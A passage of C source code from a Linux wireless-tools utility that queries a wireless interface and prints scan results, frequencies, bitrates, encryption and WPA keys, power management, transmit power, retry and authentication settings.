IW_EV_POINT_PK_LEN)) { fprintf(stderr, "*** Please report to jt@hpl.hp.com your platform details\n"); fprintf(stderr, "*** and the following line :\n"); fprintf(stderr, "*** IW_EV_LCP_PK2_LEN = %zu ; IW_EV_POINT_PK2_LEN = %zu\n\n", IW_EV_LCP_PK2_LEN, IW_EV_POINT_PK2_LEN); } /* Get range stuff */ has_range = (iw_get_range_info(skfd, ifname, &range) >= 0); /* Check if the interface could support scanning. */ if((!has_range) || (range.we_version_compiled < 14)) { fprintf(stderr, "%-8.16s Interface doesn't support scanning.\n\n", ifname); return(-1); } /* Init timeout value -> 250ms between set and first get */ tv.tv_sec = 0; tv.tv_usec = 250000; /* Clean up set args */ memset(&scanopt, 0, sizeof(scanopt)); /* Parse command line arguments and extract options. * Note : when we have enough options, we should use the parser * from iwconfig... */ while(count > 0) { /* One arg is consumed (the option name) */ count--; /* * Check for Active Scan (scan with specific essid) */ if(!strncmp(args[0], "essid", 5)) { if(count < 1) { fprintf(stderr, "Too few arguments for scanning option [%s]\n", args[0]); return(-1); } args++; count--; /* Store the ESSID in the scan options */ scanopt.essid_len = strlen(args[0]); memcpy(scanopt.essid, args[0], scanopt.essid_len); /* Initialise BSSID as needed */ if(scanopt.bssid.sa_family == 0) { scanopt.bssid.sa_family = ARPHRD_ETHER; memset(scanopt.bssid.sa_data, 0xff, ETH_ALEN); } /* Scan only this ESSID */ scanflags |= IW_SCAN_THIS_ESSID; } else /* Check for last scan result (do not trigger scan) */ if(!strncmp(args[0], "last", 4)) { /* Hack */ scanflags |= IW_SCAN_HACK; } else { fprintf(stderr, "Invalid scanning option [%s]\n", args[0]); return(-1); } /* Next arg */ args++; } /* Check if we have scan options */ if(scanflags) { wrq.u.data.pointer = (caddr_t) &scanopt; wrq.u.data.length = sizeof(scanopt); wrq.u.data.flags = scanflags; } else { wrq.u.data.pointer = NULL; wrq.u.data.flags = 0; wrq.u.data.length = 0; } /* If only 'last' was specified on command line, don't trigger a scan */ if(scanflags == IW_SCAN_HACK) { /* Skip waiting */ tv.tv_usec = 0; } else { /* Initiate Scanning */ if(iw_set_ext(skfd, ifname, SIOCSIWSCAN, &wrq) < 0) { if((errno != EPERM) || (scanflags != 0)) { fprintf(stderr, "%-8.16s Interface doesn't support scanning : %s\n\n", ifname, strerror(errno)); return(-1); } /* If we don't have the permission to initiate the scan, we may * still have permission to read left-over results. * But, don't wait !!! */ #if 0 /* Not cool, it display for non wireless interfaces... */ fprintf(stderr, "%-8.16s (Could not trigger scanning, just reading left-over results)\n", ifname); #endif tv.tv_usec = 0; } } timeout -= tv.tv_usec; /* Forever */ while(1) { fd_set rfds; /* File descriptors for select */ int last_fd; /* Last fd */ int ret; /* Guess what ? We must re-generate rfds each time */ FD_ZERO(&rfds); last_fd = -1; /* In here, add the rtnetlink fd in the list */ /* Wait until something happens */ ret = select(last_fd + 1, &rfds, NULL, NULL, &tv); /* Check if there was an error */ if(ret < 0) { if(errno == EAGAIN || errno == EINTR) continue; fprintf(stderr, "Unhandled signal - exiting...\n"); return(-1); } /* Check if there was a timeout */ if(ret == 0) { unsigned char * newbuf; realloc: /* (Re)allocate the buffer - realloc(NULL, len) == malloc(len) */ newbuf = realloc(buffer, buflen); if(newbuf == NULL) { if(buffer) free(buffer); fprintf(stderr, "%s: Allocation failed\n", __FUNCTION__); return(-1); } buffer = newbuf; /* Try to read the results */ wrq.u.data.pointer = buffer; wrq.u.data.flags = 0; wrq.u.data.length = buflen; if(iw_get_ext(skfd, ifname, SIOCGIWSCAN, &wrq) < 0) { /* Check if buffer was too small (WE-17 only) */ if((errno == E2BIG) && (range.we_version_compiled > 16)) { /* Some driver may return very large scan results, either * because there are many cells, or because they have many * large elements in cells (like IWEVCUSTOM). Most will * only need the regular sized buffer. We now use a dynamic * allocation of the buffer to satisfy everybody. Of course, * as we don't know in advance the size of the array, we try * various increasing sizes. Jean II */ /* Check if the driver gave us any hints. */ if(wrq.u.data.length > buflen) buflen = wrq.u.data.length; else buflen *= 2; /* Try again */ goto realloc; } /* Check if results not available yet */ if(errno == EAGAIN) { /* Restart timer for only 100ms*/ tv.tv_sec = 0; tv.tv_usec = 100000; timeout -= tv.tv_usec; if(timeout > 0) continue; /* Try again later */ } /* Bad error */ free(buffer); fprintf(stderr, "%-8.16s Failed to read scan data : %s\n\n", ifname, strerror(errno)); return(-2); } else /* We have the results, go to process them */ break; } /* In here, check if event and event type * if scan event, read results. All errors bad & no reset timeout */ } if(wrq.u.data.length) { struct iw_event iwe; struct stream_descr stream; struct iwscan_state state = { .ap_num = 1, .val_index = 0 }; int ret; #ifdef DEBUG /* Debugging code. In theory useless, because it's debugged ;-) */ int i; printf("Scan result %d [%02X", wrq.u.data.length, buffer[0]); for(i = 1; i < wrq.u.data.length; i++) printf(":%02X", buffer[i]); printf("]\n"); #endif printf("%-8.16s Scan completed :\n", ifname); iw_init_event_stream(&stream, (char *) buffer, wrq.u.data.length); do { /* Extract an event and print it */ ret = iw_extract_event_stream(&stream, &iwe, range.we_version_compiled); if(ret > 0) print_scanning_token(&stream, &iwe, &state, &range, has_range); } while(ret > 0); printf("\n"); } else printf("%-8.16s No scan results\n\n", ifname); free(buffer); return(0); } /*********************** FREQUENCIES/CHANNELS ***********************/ /*------------------------------------------------------------------*/ /* * Print the number of channels and available frequency for the device */ static int print_freq_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; double freq; int k; int channel; char buffer[128]; /* Temporary buffer */ /* Avoid "Unused parameter" warning */ args = args; count = count; /* Get list of frequencies / channels */ if(iw_get_range_info(skfd, ifname, &range) < 0) fprintf(stderr, "%-8.16s no frequency information.\n\n", ifname); else { if(range.num_frequency > 0) { printf("%-8.16s %d channels in total; available frequencies :\n", ifname, range.num_channels); /* Print them all */ for(k = 0; k < range.num_frequency; k++) { freq = iw_freq2float(&(range.freq[k])); iw_print_freq_value(buffer, sizeof(buffer), freq); printf(" Channel %.2d : %s\n", range.freq[k].i, buffer); } } else printf("%-8.16s %d channels\n", ifname, range.num_channels); /* Get current frequency / channel and display it */ if(iw_get_ext(skfd, ifname, SIOCGIWFREQ, &wrq) >= 0) { freq = iw_freq2float(&(wrq.u.freq)); channel = iw_freq_to_channel(freq, &range); iw_print_freq(buffer, sizeof(buffer), freq, channel, wrq.u.freq.flags); printf(" Current %s\n\n", buffer); } } return(0); } /***************************** BITRATES *****************************/ /*------------------------------------------------------------------*/ /* * Print the number of available bitrates for the device */ static int print_bitrate_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; int k; char buffer[128]; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if(iw_get_range_info(skfd, ifname, &range) < 0) fprintf(stderr, "%-8.16s no bit-rate information.\n\n", ifname); else { if((range.num_bitrates > 0) && (range.num_bitrates <= IW_MAX_BITRATES)) { printf("%-8.16s %d available bit-rates :\n", ifname, range.num_bitrates); /* Print them all */ for(k = 0; k < range.num_bitrates; k++) { iw_print_bitrate(buffer, sizeof(buffer), range.bitrate[k]); /* Maybe this should be %10s */ printf("\t %s\n", buffer); } } else printf("%-8.16s unknown bit-rate information.\n", ifname); /* Get current bit rate */ if(iw_get_ext(skfd, ifname, SIOCGIWRATE, &wrq) >= 0) { iw_print_bitrate(buffer, sizeof(buffer), wrq.u.bitrate.value); printf(" Current Bit Rate%c%s\n", (wrq.u.bitrate.fixed ? '=' : ':'), buffer); } /* Try to get the broadcast bitrate if it exist... */ if(range.bitrate_capa & IW_BITRATE_BROADCAST) { wrq.u.bitrate.flags = IW_BITRATE_BROADCAST; if(iw_get_ext(skfd, ifname, SIOCGIWRATE, &wrq) >= 0) { iw_print_bitrate(buffer, sizeof(buffer), wrq.u.bitrate.value); printf(" Broadcast Bit Rate%c%s\n", (wrq.u.bitrate.fixed ? '=' : ':'), buffer); } } printf("\n"); } return(0); } /************************* ENCRYPTION KEYS *************************/ /*------------------------------------------------------------------*/ /* * Print all the available encryption keys for the device */ static int print_keys_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; unsigned char key[IW_ENCODING_TOKEN_MAX]; unsigned int k; char buffer[128]; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if(iw_get_range_info(skfd, ifname, &range) < 0) fprintf(stderr, "%-8.16s no encryption keys information.\n\n", ifname); else { printf("%-8.16s ", ifname); /* Print key sizes */ if((range.num_encoding_sizes > 0) && (range.num_encoding_sizes < IW_MAX_ENCODING_SIZES)) { printf("%d key sizes : %d", range.num_encoding_sizes, range.encoding_size[0] * 8); /* Print them all */ for(k = 1; k < range.num_encoding_sizes; k++) printf(", %d", range.encoding_size[k] * 8); printf("bits\n "); } /* Print the keys and associate mode */ printf("%d keys available :\n", range.max_encoding_tokens); for(k = 1; k <= range.max_encoding_tokens; k++) { wrq.u.data.pointer = (caddr_t) key; wrq.u.data.length = IW_ENCODING_TOKEN_MAX; wrq.u.data.flags = k; if(iw_get_ext(skfd, ifname, SIOCGIWENCODE, &wrq) < 0) { fprintf(stderr, "Error reading wireless keys (SIOCGIWENCODE): %s\n", strerror(errno)); break; } if((wrq.u.data.flags & IW_ENCODE_DISABLED) || (wrq.u.data.length == 0)) printf("\t\t[%d]: off\n", k); else { /* Display the key */ iw_print_key(buffer, sizeof(buffer), key, wrq.u.data.length, wrq.u.data.flags); printf("\t\t[%d]: %s", k, buffer); /* Other info... */ printf(" (%d bits)", wrq.u.data.length * 8); printf("\n"); } } /* Print current key index and mode */ wrq.u.data.pointer = (caddr_t) key; wrq.u.data.length = IW_ENCODING_TOKEN_MAX; wrq.u.data.flags = 0; /* Set index to zero to get current */ if(iw_get_ext(skfd, ifname, SIOCGIWENCODE, &wrq) >= 0) { /* Note : if above fails, we have already printed an error * message int the loop above */ printf(" Current Transmit Key: [%d]\n", wrq.u.data.flags & IW_ENCODE_INDEX); if(wrq.u.data.flags & IW_ENCODE_RESTRICTED) printf(" Security mode:restricted\n"); if(wrq.u.data.flags & IW_ENCODE_OPEN) printf(" Security mode:open\n"); } printf("\n\n"); } return(0); } /************************* POWER MANAGEMENT *************************/ /*------------------------------------------------------------------*/ /* * Print Power Management info for each device */ static int get_pm_value(int skfd, char * ifname, struct iwreq * pwrq, int flags, char * buffer, int buflen, int we_version_compiled) { /* Get Another Power Management value */ pwrq->u.power.flags = flags; if(iw_get_ext(skfd, ifname, SIOCGIWPOWER, pwrq) >= 0) { /* Let's check the value and its type */ if(pwrq->u.power.flags & IW_POWER_TYPE) { iw_print_pm_value(buffer, buflen, pwrq->u.power.value, pwrq->u.power.flags, we_version_compiled); printf("\n %s", buffer); } } return(pwrq->u.power.flags); } /*------------------------------------------------------------------*/ /* * Print Power Management range for each type */ static void print_pm_value_range(char * name, int mask, int iwr_flags, int iwr_min, int iwr_max, char * buffer, int buflen, int we_version_compiled) { if(iwr_flags & mask) { int flags = (iwr_flags & ~(IW_POWER_MIN | IW_POWER_MAX)); /* Display if auto or fixed */ printf("%s %s ; ", (iwr_flags & IW_POWER_MIN) ? "Auto " : "Fixed", name); /* Print the range */ iw_print_pm_value(buffer, buflen, iwr_min, flags | IW_POWER_MIN, we_version_compiled); printf("%s\n ", buffer); iw_print_pm_value(buffer, buflen, iwr_max, flags | IW_POWER_MAX, we_version_compiled); printf("%s\n ", buffer); } } /*------------------------------------------------------------------*/ /* * Power Management types of values */ static const unsigned int pm_type_flags[] = { IW_POWER_PERIOD, IW_POWER_TIMEOUT, IW_POWER_SAVING, }; static const int pm_type_flags_size = (sizeof(pm_type_flags)/sizeof(pm_type_flags[0])); /*------------------------------------------------------------------*/ /* * Print Power Management info for each device */ static int print_pm_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; char buffer[128]; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if((iw_get_range_info(skfd, ifname, &range) < 0) || (range.we_version_compiled < 10)) fprintf(stderr, "%-8.16s no power management information.\n\n", ifname); else { printf("%-8.16s ", ifname); /* Display modes availables */ if(range.pm_capa & IW_POWER_MODE) { printf("Supported modes :\n "); if(range.pm_capa & (IW_POWER_UNICAST_R | IW_POWER_MULTICAST_R)) printf("\t\to Receive all packets (unicast & multicast)\n "); if(range.pm_capa & IW_POWER_UNICAST_R) printf("\t\to Receive Unicast only (discard multicast)\n "); if(range.pm_capa & IW_POWER_MULTICAST_R) printf("\t\to Receive Multicast only (discard unicast)\n "); if(range.pm_capa & IW_POWER_FORCE_S) printf("\t\to Force sending using Power Management\n "); if(range.pm_capa & IW_POWER_REPEATER) printf("\t\to Repeat multicast\n "); } /* Display min/max period availables */ print_pm_value_range("period ", IW_POWER_PERIOD, range.pmp_flags, range.min_pmp, range.max_pmp, buffer, sizeof(buffer), range.we_version_compiled); /* Display min/max timeout availables */ print_pm_value_range("timeout", IW_POWER_TIMEOUT, range.pmt_flags, range.min_pmt, range.max_pmt, buffer, sizeof(buffer), range.we_version_compiled); /* Display min/max saving availables */ print_pm_value_range("saving ", IW_POWER_SAVING, range.pms_flags, range.min_pms, range.max_pms, buffer, sizeof(buffer), range.we_version_compiled); /* Get current Power Management settings */ wrq.u.power.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWPOWER, &wrq) >= 0) { int flags = wrq.u.power.flags; /* Is it disabled ? */ if(wrq.u.power.disabled) printf("Current mode:off\n"); else { unsigned int pm_type = 0; unsigned int pm_mask = 0; unsigned int remain_mask = range.pm_capa & IW_POWER_TYPE; int i = 0; /* Let's check the mode */ iw_print_pm_mode(buffer, sizeof(buffer), flags); printf("Current %s", buffer); /* Let's check if nothing (simply on) */ if((flags & IW_POWER_MODE) == IW_POWER_ON) printf("mode:on"); /* Let's check the value and its type */ if(wrq.u.power.flags & IW_POWER_TYPE) { iw_print_pm_value(buffer, sizeof(buffer), wrq.u.power.value, wrq.u.power.flags, range.we_version_compiled); printf("\n %s", buffer); } while(1) { /* Deal with min/max for the current value */ pm_mask = 0; /* If we have been returned a MIN value, ask for the MAX */ if(flags & IW_POWER_MIN) pm_mask = IW_POWER_MAX; /* If we have been returned a MAX value, ask for the MIN */ if(flags & IW_POWER_MAX) pm_mask = IW_POWER_MIN; /* If we have something to ask for... */ if(pm_mask) { pm_mask |= pm_type; get_pm_value(skfd, ifname, &wrq, pm_mask, buffer, sizeof(buffer), range.we_version_compiled); } /* Remove current type from mask */ remain_mask &= ~(wrq.u.power.flags); /* Check what other types we still have to read */ while(i < pm_type_flags_size) { pm_type = remain_mask & pm_type_flags[i]; if(pm_type) break; i++; } /* Nothing anymore : exit the loop */ if(!pm_type) break; /* Ask for this other type of value */ flags = get_pm_value(skfd, ifname, &wrq, pm_type, buffer, sizeof(buffer), range.we_version_compiled); /* Loop back for min/max */ } printf("\n"); } } printf("\n"); } return(0); } #ifndef WE_ESSENTIAL /************************** TRANSMIT POWER **************************/ /*------------------------------------------------------------------*/ /* * Print the number of available transmit powers for the device */ static int print_txpower_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; int dbm; int mwatt; int k; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if((iw_get_range_info(skfd, ifname, &range) < 0) || (range.we_version_compiled < 10)) fprintf(stderr, "%-8.16s no transmit-power information.\n\n", ifname); else { if((range.num_txpower <= 0) || (range.num_txpower > IW_MAX_TXPOWER)) printf("%-8.16s unknown transmit-power information.\n\n", ifname); else { printf("%-8.16s %d available transmit-powers :\n", ifname, range.num_txpower); /* Print them all */ for(k = 0; k < range.num_txpower; k++) { /* Check for relative values */ if(range.txpower_capa & IW_TXPOW_RELATIVE) { printf("\t %d (no units)\n", range.txpower[k]); } else { if(range.txpower_capa & IW_TXPOW_MWATT) { dbm = iw_mwatt2dbm(range.txpower[k]); mwatt = range.txpower[k]; } else { dbm = range.txpower[k]; mwatt = iw_dbm2mwatt(range.txpower[k]); } printf("\t %d dBm \t(%d mW)\n", dbm, mwatt); } } } /* Get current Transmit Power */ if(iw_get_ext(skfd, ifname, SIOCGIWTXPOW, &wrq) >= 0) { printf(" Current Tx-Power"); /* Disabled ? */ if(wrq.u.txpower.disabled) printf(":off\n\n"); else { /* Fixed ? */ if(wrq.u.txpower.fixed) printf("="); else printf(":"); /* Check for relative values */ if(wrq.u.txpower.flags & IW_TXPOW_RELATIVE) { /* I just hate relative value, because they are * driver specific, so not very meaningfull to apps. * But, we have to support that, because * this is the way hardware is... */ printf("\t %d (no units)\n", wrq.u.txpower.value); } else { if(wrq.u.txpower.flags & IW_TXPOW_MWATT) { dbm = iw_mwatt2dbm(wrq.u.txpower.value); mwatt = wrq.u.txpower.value; } else { dbm = wrq.u.txpower.value; mwatt = iw_dbm2mwatt(wrq.u.txpower.value); } printf("%d dBm \t(%d mW)\n\n", dbm, mwatt); } } } } return(0); } /*********************** RETRY LIMIT/LIFETIME ***********************/ /*------------------------------------------------------------------*/ /* * Print one retry value */ static int get_retry_value(int skfd, char * ifname, struct iwreq * pwrq, int flags, char * buffer, int buflen, int we_version_compiled) { /* Get Another retry value */ pwrq->u.retry.flags = flags; if(iw_get_ext(skfd, ifname, SIOCGIWRETRY, pwrq) >= 0) { /* Let's check the value and its type */ if(pwrq->u.retry.flags & IW_RETRY_TYPE) { iw_print_retry_value(buffer, buflen, pwrq->u.retry.value, pwrq->u.retry.flags, we_version_compiled); printf("%s\n ", buffer); } } return(pwrq->u.retry.flags); } /*------------------------------------------------------------------*/ /* * Print Power Management range for each type */ static void print_retry_value_range(char * name, int mask, int iwr_flags, int iwr_min, int iwr_max, char * buffer, int buflen, int we_version_compiled) { if(iwr_flags & mask) { int flags = (iwr_flags & ~(IW_RETRY_MIN | IW_RETRY_MAX)); /* Display if auto or fixed */ printf("%s %s ; ", (iwr_flags & IW_POWER_MIN) ? "Auto " : "Fixed", name); /* Print the range */ iw_print_retry_value(buffer, buflen, iwr_min, flags | IW_POWER_MIN, we_version_compiled); printf("%s\n ", buffer); iw_print_retry_value(buffer, buflen, iwr_max, flags | IW_POWER_MAX, we_version_compiled); printf("%s\n ", buffer); } } /*------------------------------------------------------------------*/ /* * Print Retry info for each device */ static int print_retry_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; char buffer[128]; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if((iw_get_range_info(skfd, ifname, &range) < 0) || (range.we_version_compiled < 11)) fprintf(stderr, "%-8.16s no retry limit/lifetime information.\n\n", ifname); else { printf("%-8.16s ", ifname); /* Display min/max limit availables */ print_retry_value_range("limit ", IW_RETRY_LIMIT, range.retry_flags, range.min_retry, range.max_retry, buffer, sizeof(buffer), range.we_version_compiled); /* Display min/max lifetime availables */ print_retry_value_range("lifetime", IW_RETRY_LIFETIME, range.r_time_flags, range.min_r_time, range.max_r_time, buffer, sizeof(buffer), range.we_version_compiled); /* Get current retry settings */ wrq.u.retry.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWRETRY, &wrq) >= 0) { int flags = wrq.u.retry.flags; /* Is it disabled ? */ if(wrq.u.retry.disabled) printf("Current mode:off\n "); else { unsigned int retry_type = 0; unsigned int retry_mask = 0; unsigned int remain_mask = range.retry_capa & IW_RETRY_TYPE; /* Let's check the mode */ printf("Current mode:on\n "); /* Let's check the value and its type */ if(wrq.u.retry.flags & IW_RETRY_TYPE) { iw_print_retry_value(buffer, sizeof(buffer), wrq.u.retry.value, wrq.u.retry.flags, range.we_version_compiled); printf("%s\n ", buffer); } while(1) { /* Deal with min/max/short/long for the current value */ retry_mask = 0; /* If we have been returned a MIN value, ask for the MAX */ if(flags & IW_RETRY_MIN) retry_mask = IW_RETRY_MAX; /* If we have been returned a MAX value, ask for the MIN */ if(flags & IW_RETRY_MAX) retry_mask = IW_RETRY_MIN; /* Same for SHORT and LONG */ if(flags & IW_RETRY_SHORT) retry_mask = IW_RETRY_LONG; if(flags & IW_RETRY_LONG) retry_mask = IW_RETRY_SHORT; /* If we have something to ask for... */ if(retry_mask) { retry_mask |= retry_type; get_retry_value(skfd, ifname, &wrq, retry_mask, buffer, sizeof(buffer), range.we_version_compiled); } /* And if we have both a limit and a lifetime, * ask the other one */ remain_mask &= ~(wrq.u.retry.flags); retry_type = remain_mask; /* Nothing anymore : exit the loop */ if(!retry_type) break; /* Ask for this other type of value */ flags = get_retry_value(skfd, ifname, &wrq, retry_type, buffer, sizeof(buffer), range.we_version_compiled); /* Loop back for min/max/short/long */ } } } printf("\n"); } return(0); } /************************ ACCESS POINT LIST ************************/ /* * Note : now that we have scanning support, this is depracted and * won't survive long. Actually, next version it's out ! */ /*------------------------------------------------------------------*/ /* * Display the list of ap addresses and the associated stats * Exacly the same as the spy list, only with different IOCTL and messages */ static int print_ap_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; char buffer[(sizeof(struct iw_quality) + sizeof(struct sockaddr)) * IW_MAX_AP]; char temp[128]; struct sockaddr * hwa; struct iw_quality * qual; iwrange range; int has_range = 0; int has_qual = 0; int n; int i; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Collect stats */ wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.length = IW_MAX_AP; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWAPLIST, &wrq) < 0) { fprintf(stderr, "%-8.16s Interface doesn't have a list of Peers/Access-Points\n\n", ifname); return(-1); } /* Number of addresses */ n = wrq.u.data.length; has_qual = wrq.u.data.flags; /* The two lists */ hwa = (struct sockaddr *) buffer; qual = (struct iw_quality *) (buffer + (sizeof(struct sockaddr) * n)); /* Check if we have valid mac address type */ if(iw_check_mac_addr_type(skfd, ifname) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support MAC addresses\n\n", ifname); return(-2); } /* Get range info if we can */ if(iw_get_range_info(skfd, ifname, &(range)) >= 0) has_range = 1; /* Display it */ if(n == 0) printf("%-8.16s No Peers/Access-Point in range\n", ifname); else printf("%-8.16s Peers/Access-Points in range:\n", ifname); for(i = 0; i < n; i++) { if(has_qual) { /* Print stats for this address */ printf(" %s : ", iw_saether_ntop(&hwa[i], temp)); iw_print_stats(temp, sizeof(buffer), &qual[i], &range, has_range); printf("%s\n", temp); } else /* Only print the address */ printf(" %s\n", iw_saether_ntop(&hwa[i], temp)); } printf("\n"); return(0); } /******************** WIRELESS EVENT CAPABILITY ********************/ static const char * event_capa_req[] = { [SIOCSIWNWID - SIOCIWFIRST] = "Set NWID (kernel generated)", [SIOCSIWFREQ - SIOCIWFIRST] = "Set Frequency/Channel (kernel generated)", [SIOCGIWFREQ - SIOCIWFIRST] = "New Frequency/Channel", [SIOCSIWMODE - SIOCIWFIRST] = "Set Mode (kernel generated)", [SIOCGIWTHRSPY - SIOCIWFIRST] = "Spy threshold crossed", [SIOCGIWAP - SIOCIWFIRST] = "New Access Point/Cell address - roaming", [SIOCGIWSCAN - SIOCIWFIRST] = "Scan request completed", [SIOCSIWESSID - SIOCIWFIRST] = "Set ESSID (kernel generated)", [SIOCGIWESSID - SIOCIWFIRST] = "New ESSID", [SIOCGIWRATE - SIOCIWFIRST] = "New bit-rate", [SIOCSIWENCODE - SIOCIWFIRST] = "Set Encoding (kernel generated)", [SIOCGIWPOWER - SIOCIWFIRST] = NULL, }; static const char * event_capa_evt[] = { [IWEVTXDROP - IWEVFIRST] = "Tx packet dropped - retry exceeded", [IWEVCUSTOM - IWEVFIRST] = "Custom driver event", [IWEVREGISTERED - IWEVFIRST] = "Registered node", [IWEVEXPIRED - IWEVFIRST] = "Expired node", }; /*------------------------------------------------------------------*/ /* * Print the event capability for the device */ static int print_event_capa_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iw_range range; int cmd; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if((iw_get_range_info(skfd, ifname, &range) < 0) || (range.we_version_compiled < 10)) fprintf(stderr, "%-8.16s no wireless event capability information.\n\n", ifname); else { #ifdef DEBUG /* Debugging ;-) */ for(cmd = 0x8B00; cmd < 0x8C0F; cmd++) { int idx = IW_EVENT_CAPA_INDEX(cmd); int mask = IW_EVENT_CAPA_MASK(cmd); printf("0x%X - %d - %X\n", cmd, idx, mask); } #endif printf("%-8.16s Wireless Events supported :\n", ifname); for(cmd = SIOCIWFIRST; cmd <= SIOCGIWPOWER; cmd++) { int idx = IW_EVENT_CAPA_INDEX(cmd); int mask = IW_EVENT_CAPA_MASK(cmd); if(range.event_capa[idx] & mask) printf(" 0x%04X : %s\n", cmd, event_capa_req[cmd - SIOCIWFIRST]); } for(cmd = IWEVFIRST; cmd <= IWEVEXPIRED; cmd++) { int idx = IW_EVENT_CAPA_INDEX(cmd); int mask = IW_EVENT_CAPA_MASK(cmd); if(range.event_capa[idx] & mask) printf(" 0x%04X : %s\n", cmd, event_capa_evt[cmd - IWEVFIRST]); } printf("\n"); } return(0); } /*************************** WPA SUPPORT ***************************/ /*------------------------------------------------------------------*/ /* * Print the authentication parameters for the device */ static int print_auth_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; unsigned int k; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Extract range info */ if((iw_get_range_info(skfd, ifname, &range) < 0) || (range.we_version_compiled < 18)) fprintf(stderr, "%-8.16s no authentication information.\n\n", ifname); else { /* Print WPA/802.1x/802.11i security parameters */ if(!range.enc_capa) { printf("%-8.16s unknown authentication information.\n\n", ifname); } else { /* Display advanced encryption capabilities */ printf("%-8.16s Authentication capabilities :", ifname); iw_print_mask_name(range.enc_capa, iw_auth_capa_name, IW_AUTH_CAPA_NUM, "\n\t\t"); printf("\n"); /* Extract all auth settings */ for(k = 0; k < IW_AUTH_SETTINGS_NUM; k++) { wrq.u.param.flags = iw_auth_settings[k].value; if(iw_get_ext(skfd, ifname, SIOCGIWAUTH, &wrq) >= 0) { printf(" Current %s :", iw_auth_settings[k].label); if(iw_auth_settings[k].names != NULL) iw_print_mask_name(wrq.u.param.value, iw_auth_settings[k].names, iw_auth_settings[k].num_names, "\n\t\t"); else printf((wrq.u.param.value) ? " yes" : " no"); printf("\n"); } } } printf("\n\n"); } return(0); } /*------------------------------------------------------------------*/ /* * Print all the available wpa keys for the device */ static int print_wpakeys_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_range range; unsigned char extbuf[IW_EXTKEY_SIZE]; struct iw_encode_ext *extinfo; unsigned int k; char buffer[128]; /* Avoid "Unused parameter" warning */ args = args; count = count; /* This always point to the same place */ extinfo = (struct iw_encode_ext *) extbuf; /* Extract range info */ if(iw_get_range_info(skfd, ifname, &range) < 0) fprintf(stderr, "%-8.16s no wpa key information.\n\n", ifname); else { printf("%-8.16s ", ifname); /* Print key sizes */ if((range.num_encoding_sizes > 0) && (range.num_encoding_sizes < IW_MAX_ENCODING_SIZES)) { printf("%d key sizes : %d", range.num_encoding_sizes, range.encoding_size[0] * 8); /* Print them all */ for(k = 1; k < range.num_encoding_sizes; k++) printf(", %d", range.encoding_size[k] * 8); printf("bits\n "); } /* Print the keys */ printf("%d keys available :\n", range.max_encoding_tokens); for(k = 1; k <= range.max_encoding_tokens; k++) { /* Cleanup. Driver may not fill everything */ memset(extbuf, '\0', IW_EXTKEY_SIZE); /* Get whole struct containing one WPA key */ wrq.u.data.pointer = (caddr_t) extbuf; wrq.u.data.length = IW_EXTKEY_SIZE; wrq.u.data.flags = k; if(iw_get_ext(skfd, ifname, SIOCGIWENCODEEXT, &wrq) < 0) { fprintf(stderr, "Error reading wpa keys (SIOCGIWENCODEEXT): %s\n", strerror(errno)); break; } /* Sanity check */ if(wrq.u.data.length < (sizeof(struct iw_encode_ext) + extinfo->key_len)) break; /* Check if key is disabled */ if((wrq.u.data.flags & IW_ENCODE_DISABLED) || (extinfo->key_len == 0)) printf("\t\t[%d]: off\n", k); else { /* Display the key */ iw_print_key(buffer, sizeof(buffer), extinfo->key, extinfo->key_len, wrq.u.data.flags); printf("\t\t[%d]: %s", k, buffer); /* Key size */ printf(" (%d bits)", extinfo->key_len * 8); printf("\n"); /* Other info... */ printf("\t\t Address: %s\n", iw_saether_ntop(&extinfo->addr, buffer)); printf("\t\t Algorithm:"); iw_print_value_name(extinfo->alg, iw_encode_alg_name, IW_ENCODE_ALG_NUM); printf("\n\t\t Flags: 0x%08x\n", extinfo->ext_flags); if (extinfo->ext_flags & IW_ENCODE_EXT_TX_SEQ_VALID) printf("\t\t tx-seq-valid\n"); if (extinfo->ext_flags & IW_ENCODE_EXT_RX_SEQ_VALID) printf("\t\t rx-seq-valid\n"); if (extinfo->ext_flags & IW_ENCODE_EXT_GROUP_KEY) printf("\t\t group-key\n"); } } /* Print current key index and mode */ wrq.u.data.pointer = (caddr_t) extbuf; wrq.u.data.length = IW_EXTKEY_SIZE; wrq.u.data.flags = 0; /* Set index to zero to get current */ if(iw_get_ext(skfd, ifname, SIOCGIWENCODEEXT, &wrq) >= 0) { /* Note : if above fails, we have already printed an error * message int the loop above */ printf(" Current Transmit Key: [%d]\n", wrq.u.data.flags & IW_ENCODE_INDEX); if(wrq.u.data.flags & IW_ENCODE_RESTRICTED) printf(" Security mode:restricted\n"); if(wrq.u.data.flags & IW_ENCODE_OPEN) printf(" Security mode:open\n"); } printf("\n\n"); } return(0); } /*------------------------------------------------------------------*/ /* * Print the Generic IE for the device * Note : indentation is broken. We need to fix that. */ static int print_gen_ie_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; unsigned 